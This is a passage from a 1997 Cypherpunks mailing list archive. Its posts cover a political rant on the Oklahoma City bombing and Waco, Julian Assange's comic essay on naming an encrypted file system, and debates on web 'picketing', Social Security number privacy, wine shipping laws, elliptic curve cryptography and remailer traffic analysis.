everyone is guilty of something. The debate over McVeigh's guilt versus the government's guilt has as little meaning as the coming debate over McVeigh's right to take a life versus the government's right to take a life. The government can pass laws against the use of crypto or against the bombing of federal buildings and the debating teams can line up to rant about the justice or injustice being perpetrated by the individual or by the government. In the end, we are left with the body count, whether the body bags are filled with children or freedoms. Did McVeigh bomb the OKC building? Did Oswald kill Kennedy? Does it really matter? If the CIA wasn't involved in the killing of JFK, they could have been. If the BATF wasn't involved in the OKC bombing, they could have been. We all recognize the government's need/ability to interfere in the natural course of events in order to retain the power they have to "protect and defend" the country/government. What differs is our own perception of whether our interests are better served by the government or by those working in opposition to the government. When the government confiscates land to use for flood control, their actions are a threat to those who lose a homestead and a boon to those who will no longer be flooded. When the governement launches an assault on Branch Davidians their actions are a threat to those with unconvent- ional religious beliefs and a boon to those with mainstream religious beliefs who don't want their family members' minds "stolen" by some "cult." When someone bombs a Federal Building they are a threat to those who have a vested interest in the government maintaining business as usual and a boon to those who want the government to think twice before blatantly assaulting the citizenry. In the end, we are left with a body count and the bodies are either ours or those of others. In the end, we either look over our shoulder, or we don't, before we enter a federal building, or sign a search warrant, or reply to a post by Jim Bell. And, in the end, we will never know how many of the children who died at Waco would have grown up to bomb Federal Buildings. We will never know how many of the children who died in OKC would have grown up to be imprisoned for using crypto, or slaughtered by another government assault on an unorthodox religious congregation. In the end, every action we take will have a government assault team or a Timothy McVeigh waiting to support or oppose it. If we oppose both Waco and the OKC bombing, then we are a threat to both government and anti-government factions. If we support free speech then we are a threat to those who might be attacked and threatened by its use. If we support privacy we are a threat to those who are attacked by anonymous sources. If we support freedom, we are a threat to those who already have a place in the sun, a piece of the pie, a position to defend. In the end, we are trampled to death in the crowded theater in which someone has shouted "Fire!" or we end up in prison for shouting "Fire!" in an *empty* theater. (And Rottenberg defends his support of the original legislation which required at least ten people to be present in the theater before shouting "Fire!" became a felony.) The bottom line is that life is a crapshoot. We support legislation that requires us to register our religious faith so that the government can protect us from future religious discrimination and then we find out that "Lutherans" go to the death camps. We oppose the legislation and later lose our homes and jobs because we have no proof of our religious affiliation. The bottom line is that no matter what our position in life, no matter what our beliefs, opinions and actions, there are a few billion other entities sharing our world who are organized into camps which support or oppose us today and may do the opposite tomorrow. Even our actions in our own self-interests may work against us in the future, as the result of a chain of external events. For all of our positions and our posturing, we are, at best, pissing in the wind when we join in the various pissing contests in life. I once had a friend whose parting phrase was always, "Don't get any on you." I am beginning to understand what he meant. TruthMonger From cpunks at www.video-collage.com Tue Jun 3 19:37:43 1997 From: cpunks at www.video-collage.com (Cypherpunks Maintenance Account) Date: Wed, 4 Jun 1997 10:37:43 +0800 Subject: Cryptographic Mythology (fwd) Message-ID: <199706040230.WAA12900@www.video-collage.com> ----- Forwarded message from proff at suburbia.net ----- >From cpunks Tue Jun 3 12:16:18 1997 From: proff at suburbia.net Message-ID: <19970603160344.26296.qmail at suburbia.net> Subject: Cryptographic Mythology To: firewalls at greatcircle.com Date: Wed, 4 Jun 1997 02:03:43 +1000 (EST) X-Mailer: ELM [version 2.4ME+ PL28 (25)] Sender: owner-cypherpunks at toad.com Precedence: bulk Here is something to amuse, delight and horrify - the tail of: _One Man's Search for a Cryptographic Mythology_. I recently wrote a VNODE (4.4bsd) based encrypted file-system. Now the day dawned when I decided it was high time to discard my rather egocentric working name _Proffs_ (i.e Proff File System) and cast about for a decent, respectable name. My first thought on this matter was: CERBERUS, n. The watch-dog of Hades, whose duty it was to guard the entrance -- against whom or what does not clearly appear; everybody, sooner or later, had to go there, and nobody wanted to carry off the entrance. Cerberus is known to have had three heads, and some of the poets have credited him with as many as a hundred. Only, what was the relation between KERBEROS and CERBERUS? Pups from the same litter, or was the relationship a little more incestuous? I had to find out. There was no way - n o w a y - I'd be having my encrypted file system playing second fiddle to that evil authentication beast. KERBEROS; also spelled Cerberus. n. The watch dog of Hades, whose duty it was to guard the entrance--against whom or what does not clearly appear; . . . it is known to have had three heads. . . Mythology couldn't get any more incestuous than that. 450,000 bytes of Greek polytheism later, and I'm wondering if the Gods of Olympus really had any high-paid guards to speak of except the multi-headed mongrel from Hades. I'm feeling down. I'm cursing the Ancients. I'm disrespectfully humming tunes `All and All it's Just Another Greek in the Wall', and `Athena be my Lover' when I discover: JANUS: in Roman mythology, custodian of the universe, god of beginnings. The guardian of gates and doors, he held sacred the first hour of the day, first day of the month, and first month of the year (which bears his name). He is represented with two bearded faces set back to back. Custodian of the universe. Guardian of gates and doors. Cooool. Janus. January. I like it. Only while I'm liking it, I'm thinking that I've heard the word Janus a lot before. I'm thinking it isn't just me who has looked up from the middle of a Greek mythology text, whilst in the throes of a name hunt with the words "Cooool" on their tongue. No: the Gods just don't smile on me that way. AltaVista confirms the truth of Heaven's bad attitude towards me. 17,423 references. _The Janus Mutual Trade Fund_, _The Janus Project_, _Janus ADA95_, a dozen ISPs from Canada (what is it WITH these Canadians?), _Janus' cool word list_ (turns out to be not so cool), _The Janus Ensemble_, _Hotel Janus_, _Janus Theatre_, _janus.com_, _janusfunds.com_, _Janus_ an Australian Police drama series and of course, the sixth moon of Saturn - _Janus_. Janus is out-of-the-picture. I'm not sure whether to feel smug or grim about the rest of the world's lack of originality. Guards. Guardians. The Greeks didn't have many with bite and I'm loosing patience with the whole culture. Euphrosyne, Aglaia, and Thalia do not grace me. What I need is something that evokes passion within my cryptographic domain. And when you come down to it, that means something which produces copious amounts of gore and blood, at will, from those who would dare to pass its demesne of protection. The Erinyes, or Furies, were three goddesses who punished by their secret stings the crimes of those who escaped or defied public justice. The heads of the Furies were wreathed with serpents, and their whole appearance was terrific and appalling. Their names were Alecto, Tisiphone, and Megaera. They were also called Eumenides. Aye. Plenty of gore there. But somewhat lacking in cryptographic analogy. Fantastic material for the group that doesn't meet at number 41 every Saturday night though. They will appreciate what the Erinyes were trying to achieve. Somewhat heartened, my mind turns to the Erinyes' dress sense. "..heads of the Furies were wreathed with serpents, and their whole appearance was terrific and appalling". Terrific. Serpents. Terrific \Ter*rif"ic\, a. [L. terrificus; fr. terrere: to frighten + facere: to make. See Terror, and Fact.] Causing terror; adapted to excite great fear or dread; terrible; as, a terrific form; a terrific sight. Is it a symptom of society in decay that this word has come to mean: Excellent \Ex"cel*lent\, a. [F. excellent, L. excellens, -entis, p. pr. of excellere. See Excel.] 1. Excelling; surpassing others in some good quality or the sum of qualities; of great worth; eminent, in a good sense; superior, as an excellent man, artist, citizen, husband, discourse, book, song, etc.; excellent breeding, principles, aims, action. Or as Milton would say: To love . . . What I see excellent in good or fair. On the other hand, David Hume (1711-1776): The more exquisite any good is, of which a small specimen is afforded us, the sharper is the evil, allied to it; and few exceptions are found to this uniform law of nature. The most sprightly wit borders on madness; the highest effusions of joy produce the deepest melancholy; the most ravishing pleasures are attended with the most cruel lassitude and disgust; the most flattering hopes make way for the severest disappointments. And, in general, no course of life has such safety (for happiness is not to be dreamed of) as the temperate and moderate, which maintains, as far as possible, a mediocrity, and a kind of insensibility, in every thing. Perhaps it is the sign of a brain in decay, rather than a society that I dwell on it so, because Terrific hair serpents of course lead unfailing into the arms of the Medusa. A guardian of fearsome looks, but dubious motivations according to authorities like Clash of the Titans (1981). A moot point, perhaps as Princeton's history department no longer wants to talk to me. I'm cast adrift, to rely on my Plasticine childhood memories and the mythological swamp of the web. NAME: Medusa FAVORITE PASTIME: Turning men to stone PLACE OF ORIGIN: Los Alamos Secret CIA Lab SPECIAL GIFTS: Petrified Aggregate Projectist FAVORITE MOVIE: Mighty Morphin' Power Rangers GOALS IN LIFE: To be a nice person FAVORITE BOOK: Madonna's biography PET PEEVE: Bad hair days Jesus. I've been sucked into comic book hell. Princeton, take me back. I won't curse at the ancient Greek's sexual proclivities anymore. I'm sure chaste marriages were very daunting to those yet to have them. I was only joking. Lighten up will you? But, alas, the history faculty however was still nursing its wounds, and was not ready to forgive me. I'd have to find an authoritative source somewhere else. Perhaps I could filter out the comic book hell contaminants and come up with respected history Ivy, even if it wasn't Princeton Ivy. To decapitate - to castrate. The terror of the Medusa is thus a terror of castration that is linked to the sight of something. The hair upon the Medusa's head is frequently represented in works of art in the form of snakes, and these once again are derived from the castration complex. It is a remarkable fact that however frightening they may be in themselves, they nevertheless serve as a mitigation of the horror, for they replace the penis, the absence of which is the cause of the horror. This is a confirmation of the technical rule according to which a multiplication of penis symbols signifies castration. Sigmund Freud The Medusa's Head You had to hand it to Sigmund. He was nothing if not authoritative, and after reading his inspiring words on the terrific serpent haired woman, it became clear to me that _Proffs_ and the Gorgon had somewhat unresolved metaphorical incompatibilities. I didn't want my software giving anyone a castration complex. I decided to put aside the denizens of Olympus from contest verbatim. I'd read Fraud on Perversions a few years before and knew Medusa was just a portent of what was to come. What I needed was another polytheist culture entirely. Latin didn't help me. Nearly all the Roman Gods had been vilely plagiarised from the Greeks, Latin names or not. Freud knew this as well as I did. The Norse gods were of little assistance to me. The only one worth paying school to was Loki, the Norse god of mischief. Loki was a very cool fellow, which was why his name has been appropriated as a moniker by virtually every Bjorn, Sven, and Bob hacker to come out of Scandinavia in the last 10 years. No, Loki was not for me. The problem craved for a polytheist mythology outside the realm of my, and more importantly Sigmund Freud's, Western European upbringing. The answer to my question was by definition locked within a body of history I didn't know an onion skin about. In order for the pilgrim to reach the master he must first place his foot on the path, no matter how gradual the slope up the mountain of enlightenment. Zen Buddhism is good like that. Fabricating parables up as you go along that is. Zen master Gutei raised his finger whenever he was asked a question about Zen. A young novice began to imitate him in this way. When Gutei was told about the novice's imitation, he sent for him and asked him if it were true. The novice admitted it was so. Gutei asked him if he understood. In reply the novice held up his index finger. Gutei promptly cut it off. The novice ran from the room, howling in pain. As he reached the threshold, Gutei called, "Boy!". When the novice returned, Gutei raised his index finger. At that instant the novice was enlightened. But wait. This Koan isn't fabricated. At least, not by me. And unlike most Zen Koan's I think you will agree that it pleasantly satisfies Schopenhauer's "life, without pain, has no meaning". However, semantically I'm seeing a very unhealthy correlation to forgetting one's encryption key and losing one's finger. My mind is drawn to the memory of the real-life nightmare of laying in the easy-chair of a Swanston St. hypnotherapist suite, gazing intently into a bright, but distant red light, while chanting the mantra "I am not cynical about hypnotherapy. I am not cynical about hypnotherapy. I am not cynical about an Indian doctor with a 5th floor office decorated coup'd'Edelstien. I'm not cynical about a man who claims that his foremost clientele are rich middle aged women who have put their jewellery somewhere "safe" and consequently are unable to recall the location. I'm not cynical about a hypnotist who extols the virtues of having a M.D. so his patients can claim 2/3rds of the cost of these jewellery retrieval sessions under Medicare. I'm not cynical that these middle aged women are infact suffering from some form of Mesmer complex. And by all the powers in Heaven, I have no pessimism about recalling my god-damned pass-phrase!". I never did remember the pass-phrase and you will notice Gutei keeps very quiet about what he does with the novice's finger. In this particular case, given the value of the data, I would have traded placed with Gutei's novice, before you can say "Boy! Was I enlightened". I put my chin on my knee, and stare at the grain of my beige plastic monitor case. Unless I could jump into another reality it was the end of the line for _Proffs_ and _One Man's Search for a Cryptographic Mythology_. Boy! Was I bummed. One of the great sins of us programmers is procedural thinking. And it was exactly this sort of folly I was engaging in. There were around 6 billion other realities going about their business. I grant you that 2 billion of these were no doubt indulging in the confusion and diffusion of an avalanche of pseudo-random mental images and sequences we associate with dreams, and probably another 2 billion busy expanding their minds with the powerful products of hash or decaying into a compressive state of increasing entropy and beer rounds. This still left a select 2 billion souls with which to weave my work. If I approached them directly rather than by analysing the information trails they left behind, I'd stand a good chance of getting my feet onto the path of cryptographic mythological enlightenment. I have a Swedish friend who calls himself Elk on odd days and Godflesh on even days. Don't ask why. As far as I know he's not bisexual. Elk listened to my quest for cryptographic myth. He had pondered, and uncovered a diamond in the rough. MARUTUKKU. The third name is MARUTUKKU, Master of the arts of protection, chained the Mad God at the Battle. Sealed the Ancient Ones in their Caves, behind the Gates. F a r o u t. Master of the arts of protection. Chained the Mad God. Sealed the Ancient Ones in their Caves, behind the Gates. Even the very word MARUTUKKU looks like it has been run through a product cipher. But I wasn't about to trust the work of a self-admitted Swedish Sumeria freak who was obviously suffering from a bi-polar moniker disorder. Was it mere coincidence that MARUTUKKU was an anagram for KUKU MART and KUKU TRAM? I didn't want MARUTUKKU to end up as another cog in the annals of Freudian analogy. What I needed was the sort of Authoritative History that only Princeton's history faculty could provide. The tablets of the Enuma Elish: The Akkadian Creation Epic Based on the translation of E. A. Speiser, with the additions by A. K. Grayson, Ancient Near-Eastern Texts Relating to the Old Testament, third edition, edited by James Pritchard (Princeton, 1969), pp. 60-72; 501-503, with minor modifications. This work, the ancient Mesopotamian creation epic consisting of seven tablets, tells of the struggle between cosmic order and chaos. It is named after its opening words. It was recited on the fourth day of the ancient Babylonian New Year's festival. The text probably dates from the Old Babylonian period, i.e., the early part of the second millennium B.C.E. [...] The third name is MARUTUKKU Master of the arts of protection, chained the Mad God at the Battle. Sealed the Ancient Ones in their Caves, behind the Gates. [...] MARUTUKKU truly is the refuge of his land, city, and people. Unto him shall the people give praise forever. All praise the MARUTUKKU! My search had born a ripe and tasty fruit indeed. The quest for a cryptographic mythology was complete. Or was it? The words of Hume kept coming back to me and I had a nagging feeling that there was some substance in them. If MARUTUKKU was my exquisite cryptographic good, of wit, effusive joy, ravishing pleasure and flattering hope; then where was the counter point? The figure to its ground - the sharper evil, the madness, the melancholy, the most cruel lassitudes and disgusts and the severest disappointments. Was Hume right? Because if he was, there was only one organisation this string of hellish adjectives could represent. The cryptographic devil with its 500,000 sq feet of office space in Maryland. But surely there could be no reference to such an organisation in the 4,000 year old Babylonian tablets. The idea was preposterous. Wasn't it? TABLET VII OF THE ENUMA ELISH: ESIZKUR shall sit aloft in the house of prayer; May the gods bring their presents before him, that from him they may receive their assignments; none can without him create artful works. Four black-headed ones are among his creatures; aside from him no god knows the answer as to their days. It's a cold and wintry night, here in Melbourne. Despite this, the gusts of wind and rain seem to be unusually chilling. What had I, in my search for a cryptographic mythology, stumbled onto? I look hard at the seven letters E-S-I-Z-K-U-R. A frown turns to a smile and then a dead pan stare. I write down: IRK ZEUS -- Prof. Julian Assange |If you want to build a ship, don't drum up people |together to collect wood and don't assign them tasks proff at iq.org |and work, but rather teach them to long for the endless proff at gnu.ai.mit.edu |immensity of the sea. -- Antoine de Saint Exupery ----- End of forwarded message from proff at suburbia.net ----- From gbroiles at netbox.com Tue Jun 3 20:02:13 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 4 Jun 1997 11:02:13 +0800 Subject: Webpage picketing In-Reply-To: <199706040021.TAA16641@einstein.ssz.com> Message-ID: <3.0.2.32.19970603194655.008a12f0@mail.io.com> At 07:21 PM 6/3/97 -0500, Jim Choate wrote: >Under what conditions akin to sidewalk use might a provider or network >provider be forced to provide any user requesting a link to the >objectionable page with the page of the objecting group. Let's abandon the meatspace metaphor, and just talk about what you're proposing - you want to insert third parties into a communication between two non-consenting parties. Why is this useful? I think it sounds like an awful idea. >What I see is a simple single screen page that immediatly takes you to the >desired page. Something conceptualy akin to a picket sign. I don't see any reason to, if we adopt your reasoning, limit this practice to web pages - shit, we ought to be able to attach things to each other's E-mail messages, hijack each other's IRC sessions, tack things onto the end of each other's files sent via FTP, add things to other people's NFS directory trees .. yeah. Who's going to keep track of all of this stuff? Are ISP's and backbone providers supposed to give other people free hard disk space/connectivity to do this? Or do you want the government to do it? What about blocking software, which erases the picketing notices? Will that be allowed? Conventional picketing works where private space is adjacent to public space, such that people in the public space can limit access to the private space, or do things in the public space which are visible to peole in the private space. Adjacency isn't really meaningful in "cyberspace", because it depends on arbitrary and changeable "locations" .. and there's very little "public space" in cyberspace, at least in the way that there's public space (like streets and roads and parks) in meatspace. Do you think we should adopt "bookspace picketing", whereby public libraries are obligated to include hostile rants with books in their collections, or even notations that "The Authoritarian League believes this book is harmful, read _Why I Need Someone to Run My Life_ by Joe Schmo to learn more"? Perhaps we should implement a program of "wordspace picketing", whereby we're obligated to, before we orally discuss our own opinions in a public place, mention the counterarguments made by critics. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. From stewarts at ix.netcom.com Tue Jun 3 20:36:41 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 4 Jun 1997 11:36:41 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: Message-ID: <3.0.1.32.19970603185312.0073f2e4@popd.ix.netcom.com> At 06:03 PM 6/1/97 -0400, Robert A. Costner wrote: >A new grocery store opened down the street from me. >They have lots of special prices, but only available to "club members". >Club cards are free, but you have to fill out a form. The form asks for >1.Name >2. Address >3. Phone Number >4. Spouse name >5. Social Security number >In exchange for giving this information, the store will give me a 35 >cent discount on each package of soft drinks I purchase. >This is not a check cashing card, that is a separate form. >Why does the store need my social security number .... They're trading a discount on purchases for marketing information. If you us an obvious pseudonym, they'll know that Johnny Cash always buys Brand X pretzels with Brand Y beer, but the SSN lets them check with TRW/Equifax/Etc. and find that You, William J. Clinton, a married homeowner making $200K/year, also have an American Express card and rent N hotel rooms/year, and already subscribe to Soldier of Fortune and Rent-A-Politician, but don't yet get the Nukes-R-Us or Victoria's Secret catalogs, which is more valuable marketing information than just the groceries. Some places might still be willing to give you a discount for the pseudonym, but others combine their discount card with a check-cashing card so they're probably not only not interested, but won't accept it because [bounced-check-tracking credit bureau] doesn't consider SSN#000-00-0000 unique and doesn't have a record for 999-65-4321. >Yes, I would support a law that forbids private companies to ask for >social security numbers except for tax purposes. I'd categorize you as well-meaning-but-needing-to-think-longer rather than an evil "Uber-Enemy :-) Private companies asking for information are engaged in free speech - you don't have to give them the answer they're hoping for, and you don't have to do business with them if you don't want. Radio Shack keeps asking for my phone number, I keep not giving it, and the only thing that's changed about our business relationship for many years is that they no longer sell real electronic components and don't seem to have their free-battery club scam any more. On the other hand, when the government _requires_ private companies to collect Nationalized TaxPayer ID Numbers to be allowed to deal with you, it's a problem - for instance, requiring SSNs for bank accounts, requiring SSNs for employers to verify with La Migra that you're a Real Tax-payin' American instead of some Job-Stealin' foreigner, requiring documentation on cash transactions over $750, requiring car dealers to collect your SSN for car registration, etc., then there's clearly a privacy problem. Sometimes you can avoid it, by using non-US banks, contracting firms, etc., but it's a hassle. One of the big effects of this is that the SSN _is_ a widely available mostly-unique ID number that's useful for correlating information. An alternative, if the government wanted to promote privacy, would be to replace the Single SSN with a bunch of tax numbers (either on a smartcard or just giving you a list on paper) which would let you give everybody who needs a TaxId a different number. They could still correlate all your tax information, but nobody else would have the information to know that John Smith, bank-user, is John Smith, home-owner, or John Smith, car-buyer. Of course, this number would need to be more than 9 digits, so it would break lots of old software, you wanted that stuff broken anyway, and hey, the year 2000's coming as well :-) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.) From ravage at EINSTEIN.ssz.com Tue Jun 3 20:37:30 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 4 Jun 1997 11:37:30 +0800 Subject: Webpage picketing... Message-ID: <199706040156.UAA17179@einstein.ssz.com> Hi, I was just reviewing the various emails on this topic trying to create a cogent whole, or at least the start of it. Anyway, I realize that at least one cpunk out there seems to seriously think that I brought this subject up with regards to the 'criminal libel' issue and wanting to send some sort of message to others. Hardly. That started yesterday, way after I was already looking at the issue. Furthermore, I no more want to slap more spin doctor output in front of others than to have to look at it myself. I was mainly trying to make a prediction about the future and then seeing, if reasonable, how long it took. Perhaps a little explanation is in order. I was going to the grocery store the other day and the perennial grape picketers were out there. It occured to me that some comparison between a public sidewalk and a public backbone could be made. I began to draw comparisons and it became clear that something was up here. It occurs to me that somebody with the right motivation might want to claim that they have a right to put a box on such a backbone (ie stand on the sidewalk in front of the store) and scrape for particular addresses (ie the business they want to picket). Now the picketers can't stop anyone from going in the store (ie packets going down the pipe) by they can attempt to talk to them as well as wave large lettered signs in their face (ie put a short banner page on their screen). A webpage could do this by putting up a single page with a continue button (ie a path to the door of the store). You could no more stop them from searching packets than you could stop somebody from standing or walking beside you down a public street. _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From stewarts at ix.netcom.com Tue Jun 3 20:44:41 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 4 Jun 1997 11:44:41 +0800 Subject: Update on Wine Politics Message-ID: <3.0.1.32.19970603190607.0073f2e4@popd.ix.netcom.com> -----BEGIN PGP SIGNED MESSAGE----- A few weeks ago there was a thread about Florida's proposal to ban direct shipments of wine into the state, making it a _felony_ for anybody except a state-licensed wholesaler to import alcohol. The weekend I was up in the California wine country, and one of the local papers had an article on other states limiting direct shipments. Apparently about 24 states ban them, though only one makes it a felony; the rest treat it as commercial business, either civil or criminal. [That's evil also, but at least it's not an outrageous penalty...] While mail-order wine has been a possibility for a while, the Internet has changed the marketing economics enough to be interesting, and some of the Internet wine businesses have been fined by a few states, with typical penalties of $7-35K. At least one of them has taken a Frissellian approach to the problem - $7000 isn't a big fine, and it'll cost the government more than that to collect, so they're ignoring it and trusting the economics and uncatchability to encourage the government to ignore it also. Bill -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQBVAwUBM5TNjvthU5e7emAFAQGwZwH/U3wu9z4KTjfDHka6Xu3ev80qf/N/urTW s9s8RbkdOjaZn355ygKJtTGjlekgAQ/aNLNyZorFDWRfzMjIne1h4g== =NL7B -----END PGP SIGNATURE----- # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.) From ravage at EINSTEIN.ssz.com Tue Jun 3 20:47:46 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 4 Jun 1997 11:47:46 +0800 Subject: Hacker Links page In-Reply-To: <33949461.5B@primenet.com> Message-ID: <199706040122.UAA17048@einstein.ssz.com> Hi Duffy, First, let me say it has been quite pleasant dealing with you on this issue. I appreciate your even-headed approach. > My most sincere apologies for any personal inconvenience to you in this > matter. The sole purpose of the request was just to ask you to delete a > link to a site. We didn't intend or foresee any problems with the > request, but there were and I believe a more detailed explanation is in > order. Agreed. > We here at Telecode were notified by Mr. Lancaster several weeks ago > that he wished that the link(s) we had given to his site be removed. No > reason was given, and of course, none was required. Unfortunately in this case my policy was diametricaly opposed to yours. Unless somebody is a paying customer or has legal justification I don't comply with a great many external requests, I try to make as few as possible as well. I support a wide range of users and they specificaly request that I keep them up to date with what is going on in a variety of technology areas. Not only do I send a copius amount of forwards from various mailing lists, print sources, etc. but I also keep a webpage with some critical links to resources they have inquired about. Don's was one of them. [Deleted chronology] > I also remarked that I would do my best to contact and ask that the link > be removed. I did this because it "appeared" to Mr. Lancaster that the > both yours and our site were somehow "connected". Of which, there are > not. We do not claim that there is any copyright infringement on you > part and we also state openly that your are the "true and rightful owner > of that page". We believe, because of the similarity of the pages, that > we had a "responsibility" at least to ask that you remove the link. So, > we did. A sign of an honorable business. > Again, I apologize for any inconvenience in this matter. Not a problem. Sounds like you have been the one inconvenienced by this the most. _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From stewarts at ix.netcom.com Tue Jun 3 20:47:48 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 4 Jun 1997 11:47:48 +0800 Subject: Elliptic Curve Rumor In-Reply-To: Message-ID: <3.0.1.32.19970603181210.0073f2e4@popd.ix.netcom.com> >heard that Apple has a working implementation of Elliptic Curve Crypto. NeXT had a working implementation of ECC, plus some patents. Depending on where the MacOS/NeXtStEp/BeOS/Copland infighting goes, the right parts of nExTsTeP may be in place to use it NeXT YeAR. >Because of the export regulations they don't want to include it in their >products. If anyone wants to try to change their minds, now would be a >good time. Will Apple do anything that risks delaying getting their act together, such as waiting for the Commerce Department to approve something that's on their critical path? Only if they see a lot of market in it, or somebody pushes the right political buttons very hard, or if it makes the unwritten list of no-explainable-reason features that any software release ends up being delayed by. Or - depending on the implementation - if it's not on the critical path, and they find some way to budget the workers to do the job without slowing down other critical path items. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.) From hallam at ai.mit.edu Tue Jun 3 20:50:00 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Wed, 4 Jun 1997 11:50:00 +0800 Subject: Who "invented" remailers? In-Reply-To: Message-ID: <199706040344.XAA12280@muesli.ai.mit.edu> > Well, in light of the comments recently from Rotenberg that we are just a > bunch of armchair activists, and in light of comments I've received that my ... Well Tim you did sorta ask for that particular comment... but passing on > We see this "they can probably track messages if they want to" view > expressed often. Especially by people who haven't thought about the issue > in detail, who perhaps just think it "only stands to reason" that the NSA > or CIA could backtrack trace messages if they wished to. The point I was making was rather different, I think the total volume of PGP mail of all types is probably not a large enough fraction of the trafic on the net to be secure. Taking any use of PGP as prima facie evidence of subversive activity probably provides a reasonable cut. If you want to take this offline I can discuss actual examples of countries that use this type of trafic analysis. The point is to identify social networks. Anyone attempting to conceal their social network is probably subversive. Note that the type of government I'm talking about here is way beyond the US in authoritarianism, much more like the USSR of old. > While not accusing Phill of being one of these folks who is just > speculating, I really encourage him to carefully look at this issue, to do > some calculations of the mix entropy introduced with sites use mix fan-ins > of sufficient size. How many people in total do you have using the mixers? How many mixers are there? > (Hint: 10 remailers each taking in 10 messages of the same rounded-off size > give 10^10 possible routings to follow. Of course, there are not 10 billion > messsages in all. But by the pigeonhole principle, in fact, it means any > final output message could have been any of the input messages. If the > remailers do not reveal input-output mappings ("collusion"), it is hard to > imagine traffic analysis doing much. Not if the principle applied is that any use of the mixer taints the person concerned. > With 100 digital mixes, each taking in 100 messages before resending, there > are more routings to track back than there are particles in the universe. > Smoke that, CIA! If the total usebase is bellow 10,000 then identifying which person received which message is probably not too necessary. Phill From bennett_t1 at popmail.firn.edu Tue Jun 3 21:01:37 1997 From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu) Date: Wed, 4 Jun 1997 12:01:37 +0800 Subject: McVeigh In-Reply-To: Message-ID: <3394ECF3.8E8@popmail.firn.edu> > The defense is a joke, but what do you expect? Whether McVeigh did it or > not, the government wants someone to blame and McVeigh is the idea > target, an anti-government "evil terrorist" to parade in front of the media. Just like Phil Zimmerman, someone screws the government back, and they point the finger at anyone. From declan at pathfinder.com Tue Jun 3 21:09:19 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Wed, 4 Jun 1997 12:09:19 +0800 Subject: Webpage picketing In-Reply-To: <3.0.2.32.19970603194655.008a12f0@mail.io.com> Message-ID: Pickets arise from a peculiar set of circumstances that arise in meatspace, including public streets. Sure, you can picket The Gap at the store up the block from my office on Connecticut Avenue. But try to wave those signs outside The Gap in the Pentagon City mall not far away, and you'll be chased off by the security guards. It's a private space; different rules apply. And I think that we should be very careful about calling the Net a public forum. Sure, places like Usenet resemble a public forum in some ways, but it's not the same. I think Greg has it right: you want to forcibly intervene in a communication between two consenting parties. What you want is similar to the right to come into my home and prevent me from speaking freely to my friend or lover. Now, perhaps a market will develop for virtual pickets. Businesses may flock to "online storefronts" that have certain rules including the right to create "Heineken out of Burma!" pages that appear before the beer company's web site if a number of the mall visitors demand it -- a virtual picket? Publications like The Nation might endorse businesses that have virtual storefronts in such "picket friendly" environments. But this is a stretch and more silly than not. -Declan On Tue, 3 Jun 1997, Greg Broiles wrote: > At 07:21 PM 6/3/97 -0500, Jim Choate wrote: > > >Under what conditions akin to sidewalk use might a provider or network > >provider be forced to provide any user requesting a link to the > >objectionable page with the page of the objecting group. > > Let's abandon the meatspace metaphor, and just talk about what you're > proposing - you want to insert third parties into a communication between > two non-consenting parties. > > Why is this useful? I think it sounds like an awful idea. > > >What I see is a simple single screen page that immediatly takes you to the > >desired page. Something conceptualy akin to a picket sign. > > I don't see any reason to, if we adopt your reasoning, limit this practice > to web pages - shit, we ought to be able to attach things to each other's > E-mail messages, hijack each other's IRC sessions, tack things onto the end > of each other's files sent via FTP, add things to other people's NFS > directory trees .. yeah. > > Who's going to keep track of all of this stuff? Are ISP's and backbone > providers supposed to give other people free hard disk space/connectivity > to do this? Or do you want the government to do it? What about blocking > software, which erases the picketing notices? Will that be allowed? > > Conventional picketing works where private space is adjacent to public > space, such that people in the public space can limit access to the private > space, or do things in the public space which are visible to peole in the > private space. Adjacency isn't really meaningful in "cyberspace", because > it depends on arbitrary and changeable "locations" .. and there's very > little "public space" in cyberspace, at least in the way that there's > public space (like streets and roads and parks) in meatspace. > > Do you think we should adopt "bookspace picketing", whereby public > libraries are obligated to include hostile rants with books in their > collections, or even notations that "The Authoritarian League believes this > book is harmful, read _Why I Need Someone to Run My Life_ by Joe Schmo to > learn more"? Perhaps we should implement a program of "wordspace > picketing", whereby we're obligated to, before we orally discuss our own > opinions in a public place, mention the counterarguments made by critics. > > > -- > Greg Broiles | US crypto export control policy in a nutshell: > gbroiles at netbox.com | > http://www.io.com/~gbroiles | Export jobs, not crypto. > > From frissell at panix.com Tue Jun 3 21:12:02 1997 From: frissell at panix.com (frissell at panix.com) Date: Wed, 4 Jun 1997 12:12:02 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: <3.0.2.32.19970604000130.0077b860@panix.com> -----BEGIN PGP SIGNED MESSAGE----- >(There are also reasons for them to "tone down" their rhetoric. Some of >them have sent me e-mail saying they agree with my points (or disagree, as >the case may be) but do not feel 